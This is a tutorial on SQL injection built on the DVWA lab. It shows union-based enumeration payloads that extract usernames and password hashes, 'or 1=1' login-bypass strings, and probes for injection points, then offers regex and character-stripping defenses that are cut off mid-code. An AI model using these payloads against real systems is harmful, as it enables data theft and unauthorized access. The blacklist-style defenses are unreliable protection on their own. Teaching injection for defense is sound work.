Mastering SQL Injection: Techniques, Exploits, and Prevention Strategies

Introduction

SQL injection attacks are a common web security threat where attackers insert malicious SQL queries into application input parameters, causing the backend database server to execute unintended commands.

Typical web applications follow a three‑tier MVC architecture: presentation layer (frontend), business logic layer, and data access layer (databases such as MySQL, Oracle, SQL Server).

The request flow from a browser to the database is illustrated step‑by‑step, showing how the web server loads index.php, connects to the DBMS, executes SQL, and returns results to the browser.

SQL Injection Vulnerabilities

When user‑supplied data is concatenated into SQL statements without proper validation, attackers can craft malicious input to manipulate queries.

2.1 Example 1: Database Enumeration

Using the DVWA penetration testing platform, entering 1' order by 1# changes the query to:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#

The # starts a comment, so the rest is ignored. By varying the order by index, attackers can infer the number of columns.

Union‑based queries can retrieve database names and table names, e.g.:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#

Result reveals the database dvwa and the current user root@localhost.

Further union queries enumerate tables and columns, eventually exposing usernames and passwords from the users table.

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#

Passwords are often stored as MD5 hashes and can be cracked with online tools.

2.2 Example 2: Authentication Bypass

By injecting 123' or 1=1 # into both username and password fields, the resulting SQL becomes always true, allowing login without valid credentials.

select * from users where username='123' or 1=1 # and password='123' or 1=1 #

Even without the comment character, using 123' or '1'='1 works because the or condition always evaluates to true.

select * from users where username='123' or '1'='1' and password='123' or '1'='1'

2.3 Example 3: Identifying Injection Points

Any URL with parameters that interacts with a database is a potential injection point, e.g., http://example.com/abc.php?id=1. Testing with payloads like id=1 and '1'='1 helps confirm vulnerability.

How to Prevent SQL Injection

Key defenses include thorough validation or sanitization of all user inputs, using regular expressions to detect suspicious patterns, and globally replacing dangerous characters.

private String CHECKSQL = "^(.+)\sand\s(.+)|(.+)\sor(.+)\s$";
Pattern.matches(CHECKSQL, targetStr);

Another approach is to strip dangerous characters:

public static String TransactSQLInjection(String sql) {
    return sql.replaceAll(".*([';]+|(--)+).*",